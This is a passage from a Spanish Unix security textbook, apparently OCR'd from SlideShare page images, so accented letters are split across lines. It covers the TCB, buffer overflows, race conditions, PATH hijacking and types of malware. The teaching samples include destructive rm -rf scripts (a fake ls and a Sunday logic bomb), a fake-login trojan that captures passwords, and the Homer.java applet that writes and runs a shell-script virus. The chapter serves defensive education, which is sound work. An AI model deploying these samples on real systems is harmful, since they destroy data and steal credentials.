a a ısica, por lo que aqu´ hablaremos
ı
principalmente de ella. Los ficheros pertenecientes a la base segura de c´mputo, y la TCB en su
o
conjunto, tratan de asegurar al administrador que est´ ejecutando el programa que desea y no otro
a
que un intruso haya podido poner en su lugar (conteniendo, por ejemplo, un troyano). La TCB
implementa la pol´ıtica de seguridad del sistema inspeccionando y vigilando las interacciones entre
entidades (procesos) y objetos (principalmente ficheros); dicha pol´ıtica suele consistir en un control
de accesos y en la reutilizaci´n de objetos (c´mo debe inicializarse o desinstalarse un objeto antes
o o
de ser reasignado).
Los ficheros con la marca de seguridad activada son generalmente el propio n´cleo del sistema
u
operativo y archivos que mantienen datos relevantes para la seguridad, contenidos en ciertos direc-
torios como /tcb/ o /etc/auth/; cualquier fichero nuevo o que pertenezca a la TCB pero que haya
sido modificado autom´ticamente tiene su marca desactivada. Puede ser activada o reactivada por
a
el administrador (por ejemplo, en AIX con la orden tcbck -a), aunque en algunos sistemas para
que un archivo pertenezca a la TCB tiene que haber sido creado con programas que ya pertenec´ ıan
a la TCB. Con este mecanismo se trata de asegurar que nadie, y especialmente el root, va a ejecu-
tar por accidente c´digo peligroso: si el administrador ha de ejecutar tareas sensibles de cara a la
o
seguridad, puede arrancar un int´rprete de comandos seguro (perteneciente a la TCB) que s´lo le
e o
permitir´ ejecutar programas que est´n en la base.
a e
La comunicaci´n entre la base fiable de c´mputo y el usuario se ha de realizar a trav´s de lo
o o e
que se denomina la ruta de comunicaci´n fiable (Trusted Communication Path, TCP), ruta
o
que se ha de invocar mediante una combinaci´n de teclas (por ejemplo, Ctrl-X Ctrl-R en AIX)
o
denominada SAK (Secure Attention Key) siempre que el usuario deba introducir datos que no de-
ban ser comprometidos, como una clave. Tras invocar a la ruta de comunicaci´n fiable mediante la
o
combinaci´n de teclas correspondiente el sistema operativo se ha de asegurar de que los programas
o
no fiables (los no incluidos en la TCB) no puedan acceder a la terminal desde la que se ha intro-
ducido el SAK; una vez conseguido esto – generalmente a partir de init – se solicitar´ al usuario
a
en la terminal su login y su password, y si ambos son correctos se lanzar´ un shell fiable (tsh), que
a
s´lo ejecutar´ programas miembros de la TCB (algo que es muy util por ejemplo para establecer
o a ´
un entorno seguro para la administraci´n del sistema, si el usuario es el root). Desde el punto de
o
vista del usuario, tras pulsar el SAK lo unico que aparecer´ ser´ un prompt solicitando el login y la
´ a a
clave; si en lugar de esto aparece el s´
ımbolo de tsh, significa que alguien ha intentado robar nuestra
contrase˜a: deberemos averiguar qui´n est´ haciendo uso de esa terminal (por ejemplo mediante
n e a
who) y notificarlo al administrador – o tomar las medidas oportunas si ese administrador somos
nosotros –.
A pesar de la utilidad de la TCB, es recomendable recordar que un fichero incluido en ella, con la
marca activada, no siempre es garant´ de seguridad; como todos los mecanismos existentes, la base
ıa
fiable de c´mputo est´ pensada para utilizarse junto a otros mecanismos, y no en lugar de ellos.
o a
5.3 Errores en los programas
Los errores o bugs a la hora de programar c´digo de aplicaciones o del propio n´cleo de Unix
o u
constituyen una de las amenazas a la seguridad que m´s quebraderos de cabeza proporciona a la
a
comunidad de la seguridad inform´tica. En la mayor´ de situaciones no se trata de desconocimiento
a ıa
a la hora de realizar programas seguros, sino del hecho que es pr´cticamente imposible no equiv-
a
ocarse en miles de l´ıneas de c´digo: simplemente el n´cleo de Minix, un mini-Unix dise˜ado por
o u n
Andrew Tanenbaum ([Tan91]) con fines docentes, tiene m´s de 13000 l´
a ıneas de c´digo en su versi´n
o o
1.0.](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-86-320.jpg)
![5.3. ERRORES EN LOS PROGRAMAS 69
Cuando un error sucede en un programa que se ejecuta en modo usuario el unico problema que suele
´
causar es la inconveniencia para quien lo estaba utilizando. Por ejemplo, imaginemos un acceso no
autorizado a memoria por parte de cierta aplicaci´n; el sistema operativo detectar´ que se intenta
o a
violar la seguridad del sistema y finalizar´ el programa envi´ndole la se˜al sigsegv. Pero si ese
a a n
mismo error sucede en un programa que corre con privilegios de root – por ejemplo, un ejecutable
setuidado –, un atacante puede aprovechar el fallo para ejecutar c´digo malicioso que el programa
o
a priori no deb´ ejecutar. Y si un error similar se produce en el c´digo del kernel del sistema op-
ıa o
erativo, las consecuencias son incluso peores: se podr´ llegar a producir un Kernel Panic o, dicho
ıa
de otra forma, la parada s´bita de la m´quina en la mayor´ de situaciones; el error m´s grave que
u a ıa a
se puede generar en Unix.
5.3.1 Buffer overflows
Seguramente uno de los errores m´s comunes, y sin duda el m´s conocido y utilizado es el stack
a a
smashing o desbordamiento de pila, tambi´n conocido por buffer overflow2 ; aunque el gusano de
e
Robert T. Morris (1988) ya lo utilizaba, no fu´ hasta 1997 cuando este fallo se hizo realmente popu-
e
lar a ra´ de [One96]. A pesar de que alguien pueda pensar que en todo el tiempo trascurrido hasta
ız
hoy en d´ los problemas de buffer overflow estar´n solucionados, o al menos controlados, a´n se
ıa a u
ven con frecuencia alertas sobre programas que se ven afectados por desbordamientos (justamente
hoy, 28 de febrero del 2000, han llegado a la lista bugtraq un par de programas que aprovecha-
ban estos errores para aumentar el nivel de privilegio de un usuario en el sistema). Aunque cada
vez los programas son m´s seguros, especialmente los setuidados, es casi seguro que un potencial
a
atacante que acceda a nuestro sistema va a intentar – si no lo ha hecho ya – conseguir privilegios
de administrador a trav´s de un buffer overflow.
e
La idea del stack smashing es sencilla: en algunas implementaciones de C es posible corromper
la pila de ejecuci´n de un programa escribiendo m´s all´ de los l´
o a a ımites de un array declarado auto
en una funci´n; esto puede causar que la direcci´n de retorno de dicha funci´n sea una direcci´n
o o o o
aleatoria. Esto, unido a permisos de los ficheros ejecutables en Unix (principalmente a los bits de Se-
tUID y SetGID), hace que el sistema operativo pueda otorgar acceso root a usuarios sin privilegios.
Por ejemplo, imaginemos una funci´n que trate de copiar con strcpy() un array de 200 caracteres
o
en uno de 20: al ejecutar el programa, se generar´ una violaci´n de segmento (y por tanto el cl´sico
a o a
core dump al que los usuarios de Unix estamos acostumbrados). Se ha producido una sobreescritura
de la direcci´n de retorno de la funci´n; si logramos que esta sobreescritura no sea aleatoria sino
o o
que apunte a un c´digo concreto (habitualmente el c´digo de un shell), dicho c´digo se va a ejecutar.
o o o
¿Cu´l es el problema? El problema reside en los ficheros setuidados y setgidados; recordemos que
a
cuando alguien los ejecuta, est´ trabajando con los privilegios de quien los cre´, y todo lo que ejecute
a o
lo hace con esos privilegios. . . incluido el c´digo que se ha insertado en la direcci´n de retorno de
o o
nuestra funci´n problem´tica. Si como hemos dicho, este c´digo es el de un int´rprete de comandos
o a o e
y el fichero pertenece al administrador, el atacante consigue ejecutar un shell con privilegios de root.
Existen multitud de exploits (programas que aprovechan un error en otro programa para violar
la pol´
ıtica de seguridad del sistema) disponibles en Internet, para casi todas las variantes de Unix
y que incluyen el c´digo necesario para ejecutar shells sobre cualquier operativo y arquitectura.
o
Para minimizar el impacto que los desbordamientos pueden causar en nuestro sistema es necesaria
una colaboraci´n entre fabricantes, administradores y programadores ([Ins97], [Smi97]. . . ). Los
o
primeros han de tratar de verificar m´s la robustez de los programas cr´
a ıticos antes de distribuirlos,
mientras que los administradores han de mantener al m´ ınimo el n´mero de ficheros setuidados o
u
setgidados en sus sistemas y los programadores tienen que esforzarse en generar c´digo con menos
o
puntos de desbordamiento; en [CWP+ 00] se pueden encontrar algunas l´ ıneas a tener en cuenta en
la prevenci´n de buffer overflows.
o
2 Realmente el stack smashing es un caso particular del buffer overflow, aunque al ser el m´s habitual se suelen
a
confundir ambos t´rminos ([C+ 98]).
e](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-87-320.jpg)
![70 CAP´
ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS
5.3.2 Condiciones de carrera
Otro error muy conocido en el mundo de los sistemas operativos son las condiciones de carrera,
situaciones en las que dos o m´s procesos leen o escriben en un ´rea compartida y el resultado final
a a
depende de los instantes de ejecuci´n de cada uno ([Tan91]). Cuando una situaci´n de este tipo se
o o
produce y acciones que deber´ ser at´micas no lo son, existe un intervalo de tiempo durante el
ıan o
que un atacante puede obtener privilegios, leer y escribir ficheros protegidos, y en definitiva violar
las pol´
ıticas de seguridad del sistema ([Bis95]).
Por ejemplo, imaginemos un programa setuidado perteneciente a root que almacene informaci´n o
en un fichero propiedad del usuario que est´ ejecutando el programa; seguramente el c´digo con-
a o
tendr´ unas l´
a ıneas similares a las siguientes (no se ha incluido la comprobaci´n b´sica de errores
o a
por motivos de claridad):
if(access(fichero, W_OK)==0){
open();
write();
}
En una ejecuci´n normal, si el usuario no tiene privilegios suficientes para escribir en el fichero, la
o
llamada a access() devolver´ -1 y no se permitir´ la escritura. Si esta llamada no falla open()
a a
tampoco lo har´, ya que el UID efectivo con que se est´ ejecutando el programa es el del root; as´
a a ı
nos estamos asegurando que el programa escriba en el fichero si y s´lo si el usuario que lo ejecuta
o
puede hacerlo – sin privilegios adicionales por el setuid –. Pero, ¿qu´ sucede si el fichero cambia
e
entre la llamada a access() y las siguientes? El programa estar´ escribiendo en un archivo sobre
a
el que no se han realizado las comprobaciones necesarias para garantizar la seguridad. Por ejemplo,
imaginemos que tras la llamada a access(), y justo antes de que se ejecute open(), el usuario borra
el fichero referenciado y enlaza /etc/passwd con el mismo nombre: el programa estar´ escribiendo
a
informaci´n en el fichero de contrase˜as.
o n
Este tipo de situaci´n, en la que un programa comprueba una propiedad de un objeto y luego
o
ejecuta determinada acci´n asumiendo que la propiedad se mantiene, cuando realmente no es as´
o ı,
se denomina TOCTTOU (Time of check to time of use). ¿Qu´ se puede hacer para evitarla? El
e
propio sistema operativo nos da las diferentes soluciones al problema ([BD96]). Por ejemplo, pode-
mos utilizar descriptores de fichero en lugar de nombres: en nuestro caso, deber´ ıamos utilizar una
variante de la llamada access() que trabaje con descriptores en lugar de nombres de archivo (no
es algo que exista realmente, ser´ necesario modificar el n´cleo del operativo para conseguirlo); con
ıa u
esto conseguimos que aunque se modifique el nombre del fichero, el objeto al que accedemos sea el
mismo durante todo el tiempo. Adem´s, es conveniente invertir el orden de las llamadas (invocar
a
primero a open() y despu´s a nuestra variante de access()); de esta forma, el c´digo anterior
e o
quedar´ como sigue:
ıa
if((fd=open(fichero, O_WRONLY))==NULL){
if (access2(fileno(fp),W_OK)==0){
write();
}
}
No obstante, existen llamadas que utilizan nombres de fichero y no tienen un equivalente que utilice
descriptores; para no tener que reprogramar todo el n´cleo de Unix, existe una segunda soluci´n que
u o
cubre tambi´n a estas llamadas: asociar un descriptor y un nombre de fichero sin restringir el modo
e
de acceso. Para esto se utilizar´ un modo especial de apertura, O ACCESS – que ser´ necesario
ıa ıa
implementar –, en lugar de los cl´sicos O RDONLY, O WRONLY o O RDWR; este nuevo modo garantizar´
a ıa
que si el objeto existe se har´ sobre ´l un open() habitual pero sin derecho de escritura o lectura
ıa e
(ser´ necesario efectuar una segunda llamada a la funci´n, con los par´metros adecuados), y si no
ıa o a
existe se reserva un nombre y un inodo de tipo ‘reservado’, un tipo de transici´n que posteriormente
o
ser´ necesario convertir en un tipo de fichero habitual en Unix (directorio, socket, enlace. . . ) con
ıa
las llamadas correspondientes.](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-88-320.jpg)
![72 CAP´
ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS
y ejecutar´ un simple ls. Pero, ¿qu´ sucede si el ‘.’ est´ en primer lugar en la variable $PATH?
a e a
El shell buscar´ en primer lugar en el directorio actual, por ejemplo /tmp/, de forma que si ah´
a ı
existe un ejecutable denominado ‘ls’, se ejecutar´ sin m´s: teniendo en cuenta que cualquiera
a a
puede escribir en el directorio, ese programa puede tener el siguiente contenido:
anita:~# cat /tmp/ls
#!/bin/sh
rm -rf /usr/ &
anita:~#
Como podemos ver, un inocente ‘ls’ puede destruir parte del sistema de ficheros – o todo –, sim-
plemente porque el administrador no ha tenido la precauci´n de eliminar de su $PATH directorios
o
donde los usuarios puedan escribir.
Seguramente alguien encontrar´ una soluci´n – falsa – a este problema: si la cuesti´n reside en
a o o
el orden de b´squeda, ¿por qu´ no poner el directorio actual al final del $PATH, depu´s de todos
u e e
los directorios fiables? De esta forma, el programa ./ls no se ejecutar´ nunca, ya que antes el shell
a
va a encontrar con toda seguridad al programa leg´ ıtimo, /bin/ls. Evidentemente esto es as´ pero
ı,
es f´cil comprobar que el problema persiste: imaginemos que estamos en esa situaci´n, y ahora
a o
tecleamos en /tmp/ la orden ls|more. No ocurrir´ nada anormal, ya que tanto ‘ls’ como ‘more’
a
son programas que el shell ejecutar´ antes de analizar ‘.’. Pero, ¿qu´ pasar´ si nos equivocamos
a e ıa
al teclear, y en lugar de ‘more’ escribimos ‘moer’? Al fin y al cabo, no es un ejemplo tan rebus-
cado, esto seguramente le ha pasado a cualquier usuario de Unix; si esto ocurre as´ el int´rprete de
ı, e
o
´rdenes no encontrar´ ning´n programa que se llame ‘moer’ en el $PATH, por lo que se generar´
a u a
un mensaje de error. . . ¿Ninguno? ¿Y si un usuario ha creado /tmp/moer, con un contenido similar
al /tmp/ls anterior? De nuevo nos encontramos ante el mismo problema: una orden tan inocente
como esta puede afectar gravemente a la integridad de nuestras m´quinas. Visto esto, parece claro
a
que bajo ning´n concepto se ha de tener un directorio en el que los usuarios puedan escribir, ni
u
siquiera el directorio actual (‘.’) en la variable $PATH.
5.4.1 Virus
Un virus es una secuencia de c´digo que se inserta en un fichero ejecutable denominado host, de
o
forma que al ejecutar el programa tambi´n se ejecuta el virus; generalmente esta ejecuci´n implica
e o
la copia del c´digo viral – o una modificaci´n del mismo – en otros programas. El virus necesita
o o
obligatoriamente un programa donde insertarse para poderse ejecutar, por lo que no se puede con-
siderar un programa o proceso independiente.
Durante a˜os, un debate t´
n ıpico entre la comunidad de la seguridad inform´tica es la existencia
a
de virus en Unix ([Rad92], [Rad93], [Rad95]. . . ). ¿Existen virus en este entorno, o por el contrario
son un producto de otros sistemas en los que el concepto de seguridad se pierde? Realmente ex-
isten virus sobre plataformas Unix capaces de reproducirse e infectar ficheros, tanto ELF como
shellscripts: ya en 1983 Fred Cohen dise˜´ un virus que se ejecutaba con ´xito sobre Unix en una
no e
VAX 11–750 ([Coh84]); a˜os m´s tarde, en art´
n a ıculos como [Duf89] o [McI89] se ha mostrado incluso
el c´digo necesario para la infecci´n.
o o
Parece claro que la existencia de virus en Unix es algo sobradamente comprobado; entonces, ¿d´nde
o
est´ el debate? La discusi´n se centra en hasta qu´ punto un virus para Unix puede comprometer
a o e
la seguridad del sistema; generalmente, la existencia de estos virus y sus efectos no suelen ser muy
perjudiciales en los sistemas Unix de hoy en d´ Se suele tratar de c´digo escrito unicamente co-
ıa. o ´
mo curiosidad cient´ ıfica, ya que cualquier acci´n que realice un virus es en general m´s f´cilmente
o a a
realizable por otros medios como un simple exploit; de hecho, uno de los primeros virus para Unix
(en t´rminos puristas se podr´ considerar un troyano m´s que un virus) fu´ creado por uno de
e ıa a e
los propios dise˜adores del sistema operativo, Ken Thompson ([Tho84]), con el fin no de da˜ar al
n n
sistema, sino de mostrar hasta qu´ punto se puede confiar en el software de una m´quina.
e a](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-90-320.jpg)
![5.4. FAUNA Y OTRAS AMENAZAS 73
5.4.2 Gusanos
El t´rmino gusano, acu˜ado en 1975 en la obra de ciencia ficci´n de John Brunner The Shockwave
e n o
Rider hace referencia a programas capaces de viajar por s´ mismos a trav´s de redes de computa-
ı e
dores para realizar cualquier actividad una vez alcanzada una m´quina; aunque esta actividad no
a
tiene por qu´ entra˜ar peligro, los gusanos pueden instalar en el sistema alcanzado un virus, atacar
e n
a este sistema como har´ un intruso, o simplemente consumir excesivas cantidades de ancho de
ıa
banda en la red afectada. Aunque se trata de malware much´ ısimo menos habitual que por ejemplo
los virus o las puertas traseras, ya que escribir un gusano peligroso es una tarea muy dif´ ıcil, los
gusanos son una de las amenazas que potencialmente puede causar mayores da˜os: no debemos
n
olvidar que el mayor incidente de seguridad de la historia de Unix e Internet fu´ a causa de un
e
gusano (el famoso Worm de 1988).
Antes del Worm de Robert T. Morris existieron otros gusanos con fines muy diferentes; a prin-
cipios de los setenta Bob Thomas escribi´ lo que muchos consideran el primer gusano inform´tico.
o a
Este programa, denominado ‘creeper’, no era ni mucho menos malware, sino que era utilizado
en los aeropuertos por los controladores a´reos para notificar que el control de determinado avi´n
e o
hab´ pasado de un ordenador a otro. Otros ejemplos de gusanos utiles fueron los desarrollados
ıa ´
a principios de los ochenta por John Shoch y Jon Hupp, del centro de investigaci´n de Xerox en
o
Palo Alto, California; estos worms se dedicaron a tareas como el intercambio de mensajes entre
sistemas o el aprovechamiento de recursos ociosos durante la noche ([SH82]). Todo funcionaba
aparentemente bien, hasta que una ma˜ana al llegar al centro ning´n ordenador funcion´ debido a
n u o
un error en uno de los gusanos; al reiniciar los sistemas, inmediatamente volvieron a fallar porque
el gusano segu´ trabajando, por lo que fu´ necesario dise˜ar una vacuna. Este es considerado el
ıa e n
primer incidente de seguridad en el que entraban worms en juego.
Sin embargo, no fu´ hasta 1988 cuando se produjo el primer incidente de seguridad ‘serio’ provocado
e
por un gusano, que a la larga se ha convertido en el primer problema de seguridad inform´tica que
a
salt´ a los medios ([Mar88a], [Mar88b], [Roy88]. . . ) y tambi´n en el m´s grave – civil, al menos
o e a
– de todos los tiempos. El 2 de noviembre de ese a˜o, Robert T. Morris salt´ a la fama cuando
n o
uno de sus programas se convirti´ en ‘el Gusano’ con may´sculas, en el Worm de Internet. La
o u
principal causa del problema fu´ la filosof´ ‘Security through Obscurity’ que muchos a´n defienden
e ıa u
hoy en d´ este joven estudiante era hijo del prestigioso cient´
ıa: ıfico Robert Morris, experto en Unix
y seguridad – entre otros lugares, ha trabajado por ejemplo para el National Computer Security
Center estadounidense –, quien conoc´ perfectamente uno de los muchos fallos en Sendmail. No
ıa
hizo p´blico este fallo ni su soluci´n, y su hijo aprovech´ ese conocimiento para incorporarlo a su
u o o
gusano (se puede leer parte de esta fascinante historia en [Sto89]). El Worm aprovechaba varias
vulnerabilidades en programas como sendmail, fingerd, rsh y rexecd ([See89]) para acceder a
un sistema, contaminarlo, y desde ´l seguir actuando hacia otras m´quinas (en [Spa88], [ER89] o
e a
[Spa91a] se pueden encontrar detalles concretos del funcionamiento de este gusano). En unas horas,
miles de equipos conectados a la red dejaron de funcionar ([Spa89]), todos presentando una sobre-
carga de procesos sh (el nombre camuflado del gusano en los sistemas Unix); reiniciar el sistema
no era ninguna soluci´n, porque tras unos minutos de funcionamiento el sistema volv´ a presentar
o ıa
el mismo problema.
Fueron necesarias muchas horas de trabajo para poder detener el Worm de Robert T. Morris;
expertos de dos grandes universidades norteamericanas, el MIT y Berkeley, fueron capaces de
desensamblar el c´digo y proporcionar una soluci´n al problema. Junto a ellos, cientos de admin-
o o
istradores y programadores de todo el mundo colaboraron ininterrumpidamente durante varios d´ ıas
para analizar c´mo se hab´ contaminado y cu´les eran los efectos que el gusano hab´ causado en
o ıan a ıa
sus sistemas. El d´ 8 de noviembre, casi una semana despu´s del ataque, expertos en seguridad de
ıa e
casi todos los ´mbitos de la vida estadounidense se reunieron para aclarar qu´ es lo que pas´ exac-
a e o
tamente, c´mo se hab´ resuelto, cu´les eran las consecuencias y c´mo se pod´ evitar que sucediera
o ıa a o ıa
algo parecido en el futuro; all´ hab´ desde investigadores del MIT o Berkeley hasta miembros de la
ı ıa
CIA, el Departamento de Energ´ o el Laboratorio de Investigaci´n Bal´
ıa o ıstica, pasando por supuesto
por miembros del National Computer Security Center, organizador del evento. Esta reuni´n, y o
el incidente en s´ marcaron un antes y un despu´s en la historia de la seguridad inform´tica; la
ı, e a](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-91-320.jpg)
![5.4. FAUNA Y OTRAS AMENAZAS 75
sistema utilizando las ´rdenes r-∗ de Unix BSD.
o
Los troyanos son quiz´s el malware m´s difundido en cualquier tipo de entorno ([KT97]), incluyen-
a a
do por supuesto a Unix; sus variantes incluyen incluso ejemplos graciosos: ha habido casos en los
que comenta un potencial problema de seguridad – real – en una lista de correo y se acompa˜a la
n
descripci´n de un shellscript que en principio aprovecha dicho problema para conseguir privilegios
o
de root. En ese exploit se ha incluido, convenientemente camuflada, una sentencia similar a la
siguiente:
echo "A’p gr4ibf t2 hLcM ueem"|tr Ae4Lpbf2gumM Ioyamngotrtk| mail
-s "‘echo "A’p gr4ibf t2 hLcM ueem"|tr Ae4Lpbf2gumM Ioyamngotrtk‘" root
De esta forma, cuando un script kiddie ejecute el programa para conseguir privilegios en el sistema,
sin darse cuenta autom´ticamente lo estar´ notificando al administrador del mismo; evidentemente
a a
el exploit suele ser falso y no da ning´n privilegio adicional, simplemente sirve para que el root sepa
u
qu´ usuarios est´n ‘jugando’ con la seguridad de sus m´quinas.
e a a
Por desgracia, estos troyanos inofensivos no son los m´s comunes; existen tambi´n ejemplos de
a e
caballos de Troya da˜inos: sin duda el ejemplo t´
n ıpico de troyano (tan t´ıpico que ha recibido un
nombre especial: trojan mule o mula de Troya ([Tom94])) es el falso programa de login. Nada
m´s encender una terminal de una m´quina Unix aparece el cl´sico mensaje ‘login:’ solicitando
a a a
nuestro nombre de usuario y contrase˜a, datos que con toda seguridad la persona que enciende este
n
dispositivo teclear´ para poder acceder al sistema. Pero, ¿qu´ suceder´ si el programa que imprime
a e ıa
el mensaje en pantalla es un troyano? Cualquier usuario del sistema puede crear un c´digo que
o
muestre un mensaje similar, guarde la informaci´n le´ de teclado (el login y el password) e invoque
o ıda
despu´s al programa login original; tras la primera lectura, se mostrar´ el tambi´n cl´sico mensaje
e a e a
‘Login incorrect’, de forma que el usuario pensar´ que ha tecleado mal sus datos – nada extra˜o,
a n
al fin y al cabo –. Cuando el programa original se ejecute, se permitir´ el acceso al sistema y ese
a
usuario no habr´ notado nada anormal, pero alguien acaba de registrar su login y su contrase˜a.
a n
Un troyano de este tipo es tan sencillo que se puede hacer – de forma simplificada – en unas pocas
l´
ıneas de shellscript:
luisa:~$ cat trojan
clear
printf "‘uname -n‘ login: "
read login
stty -echonl -echo
printf "Password: "
read pass
echo "$login : $pass" >>/tmp/.claves
printf "nLogin incorrect"
echo
exec /bin/login
luisa:~$
El atacante no necesita m´s que dejar lanzado el programa en varias terminales del sistema y es-
a
perar tranquilamente a que los usuarios vayan tecleando sus logins y passwords, que se guardar´n
a
en /tmp/.claves; evidentemente este ejemplo de troyano es muy simple, pero es suficiente para
hacernos una idea del perjuicio que estos programas pueden producir en una m´quina Unix. En
a
los ultimos a˜os han aparecido caballos de Troya mucho m´s elaborados en diversas utilidades de
´ n a
Unix, incluso en aplicaciones relacionadas con la seguridad como TCP Wrappers; en [CER99] se
pueden encontrar referencias a algunos de ellos.
La forma m´s f´cil de descubrir caballos de Troya (aparte de sufrir sus efectos una vez activa-
a a
do) es comparar los ficheros bajo sospecha con una copia de los originales, copia que evidentemente
se ha de haber efectuado antes de poner el sistema en funcionamiento y debe haber sido guardada
en un lugar seguro, para evitar as´ que el atacante modifique tambi´n la versi´n de nuestro backup.
ı e o
Tambi´n es recomendable – como sucede con el resto de malware – realizar res´menes md5 de nue-
e u](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-93-320.jpg)
![76 CAP´
ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS
stros programas y compararlos con los res´menes originales; esto, que muchas veces es ignorado,
u
puede ser una excelente soluci´n para prevenir la amenaza de los caballos de Troya.
o
5.4.5 Applets hostiles
En los ultimos a˜os, con la proliferaci´n de la web, Java y Javascript, una nueva forma de malware
´ n o
se ha hecho popular. Se trata de los denominados applets hostiles, applets que al ser descargados
intentan monopolizar o explotar los recursos del sistema de una forma inapropiada ([MF96]); esto
incluye desde ataques cl´sicos como negaciones de servicio o ejecuci´n remota de programas en la
a o
m´quina cliente hasta amenazas mucho m´s elaboradas, como difusi´n de virus, ruptura l´gica de
a a o o
cortafuegos o utilizaci´n de recursos remotos para grandes c´lculos cient´
o a ıficos.
Como ejemplo de applet hostil – aunque este en concreto no es muy peligroso – tenemos el siguiente
c´digo, obra de Mark D. LaDue (1996):
o
anita:~/Security# cat Homer.java
import java.io.*;
class Homer {
public static void main (String[] argv) {
try {
String userHome = System.getProperty("user.home");
String target = "$HOME";
FileOutputStream outer = new
FileOutputStream(userHome + "/.homer.sh");
String homer = "#!/bin/sh" + "n" + "#-_" + "n" +
"echo "Java is safe, and UNIX viruses do not exist."" + "n" +
"for file in ‘find " + target + " -type f -print‘" + "n" + "do" +
"n" + " case "‘sed 1q $file‘" in" + "n" +
" "#!/bin/sh" ) grep ’#-_’ $file > /dev/null" +
" || sed -n ’/#-_/,$p’ $0 >> $file" + "n" +
" esac" + "n" + "done" + "n" +
"2>/dev/null";
byte[] buffer = new byte[homer.length()];
homer.getBytes(0, homer.length(), buffer, 0);
outer.write(buffer);
outer.close();
Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 777 " +
userHome + "/.homer.sh");
Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome +
"/.homer.sh");
} catch (IOException ioe) {}
}
}
anita:~/Security#
Este programa infecta los sistemas Unix con un virus que contamina ficheros shellscript; antes de
hacerlo muestra el mensaje ‘Java is safe, and UNIX viruses do not exist’, para despu´s localizar
e
todos los ficheros shell en el directorio $HOME, comprobar cu´les est´n infectados, e infectar los
a a
que no lo est´n.
a
Aunque en un principio no se tom´ muy en serio el problema de los applets hostiles, poco tiempo
o
despu´s la propia Sun Microsystems reconoci´ la problem´tica asociada y se puso a trabajar para
e o a
minimizar los potenciales efectos de estos applets; principalmente se han centrado esfuerzos en con-
trolar la cantidad de recursos consumidos por un programa y en proporcionar las clases necesarias
para que los propios navegadores monitoricen los applets ejecutados. No obstante, aunque se solu-
cionen los problemas de seguridad en el c´digo, es probable que se puedan seguir utilizando applets
o](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-94-320.jpg)
![5.4. FAUNA Y OTRAS AMENAZAS 77
como una forma de ataque a los sistemas: mientras que estos programas puedan realizar conexiones
por red, no habr´n desaparecido los problemas.
a
5.4.6 Bombas l´gicas
o
Las bombas l´gicas son en cierta forma similares a los troyanos: se trata de c´digo insertado
o o
en programas que parecen realizar cierta acci´n util. Pero mientras que un troyano se ejecuta
o ´
cada vez que se ejecuta el programa que lo contiene, una bomba l´gica s´lo se activa bajo ciertas
o o
condiciones, como una determinada fecha, la existencia de un fichero con un nombre dado, o el
alcance de cierto n´mero de ejecuciones del programa que contiene la bomba; as´ una bomba l´gica
u ı, o
puede permanecer inactiva en el sistema durante mucho tiempo sin activarse y por tanto sin que
nadie note un funcionamiento an´malo hasta que el da˜o producido por la bomba ya est´ hecho.
o n a
Por ejemplo, imaginemos la misma situaci´n que antes ve´
o ıamos para el troyano: alguien con el
suficiente privilegio renombra a vi como vi.old, y en el lugar del editor sit´a el siguiente c´digo:
u o
#!/bin/sh
if [ ‘date +%a‘ = "Sun" ];
then
rm -rf $HOME
else
vi.old $1
fi
Este cambio en el sistema puede permanecer durante a˜os4 sin que se produzca un funcionamiento
n
an´malo, siempre y cuando nadie edite ficheros un domingo; pero en el momento en que un usuario
o
decida trabajar este d´ la bomba l´gica se va a activar y el directorio de este usuario ser´ borrado.
ıa, o a
5.4.7 Canales ocultos
Seg´n [B+ 88] un canal oculto es un cauce de comunicaci´n que permite a un proceso receptor y a
u o
un emisor intercambiar informaci´n de forma que viole la pol´
o ıtica de seguridad del sistema; esen-
cialmente se trata de un m´todo de comunicaci´n que no es parte del dise˜o original del sistema
e o n
pero que puede utilizarse para transferir informaci´n a un proceso o usuario que a priori no estar´
o ıa
autorizado a acceder a dicha informaci´n. Los canales ocultos existen s´lamente en sistemas con
o o
seguridad multinivel ([PN92]), aquellos que contienen y manejan informaci´n con diferentes niveles
o
de sensibilidad, de forma que se permite acceder simult´neamente a varios usuarios a dicha informa-
a
ci´n pero con diferentes puntos de vista de la misma, en funci´n de sus privilegios y sus necesidades
o o
de conocimiento (needs to know). El concepto de canal oculto fu´ introducido en 1973, en [Lam73],
e
y desde entonces muchos han sido los estudios realizados sobre este m´todo de ataque, que afecta
e
especialmente a sistemas en los que el aspecto m´s importante de la seguridad es la privacidad de
a
los datos (por ejemplo, los militares).
Generalmente se suelen clasificar los canales cubiertos en funci´n de varios aspectos ([G+ 93]):
o
• Escenario
Cuando se construyen escenarios de canales cubiertos generalmente se suele diferenciar entre
canales cubiertos de almacenamiento y de temporizaci´n ([Lip75]). Los primeros son
o
canales en los que se utiliza la escritura directa o indirecta de datos por parte de un proceso y
la lectura – tambi´n directa o indirecta – de esos datos por parte de otro; generalmente utilizan
e
un recurso finito del sistema, como bloques de disco, que se comparte entre entidades con
diferentes privilegios. Por contra, los canales ocultos de temporizaci´n utilizan la modulaci´n
o o
de ciertos recursos, como el tiempo de CPU, para intercambiar la informaci´n entre procesos.
o
En [G+ 93] se pueden encontrar ejemplos de ambos tipos de canales ocultos; otro buen ejemplo
de covert channel se encuentra en [McH95].
• Ruido
Como cualquier canal de comunicaci´n, oculto o no, los canales cubiertos pueden ser ruidosos
o
4 Obviamente, si esto es as´ denota una escasa preocupaci´n por la seguridad en ese sistema.
ı, o](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-95-320.jpg)
![78 CAP´
ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS
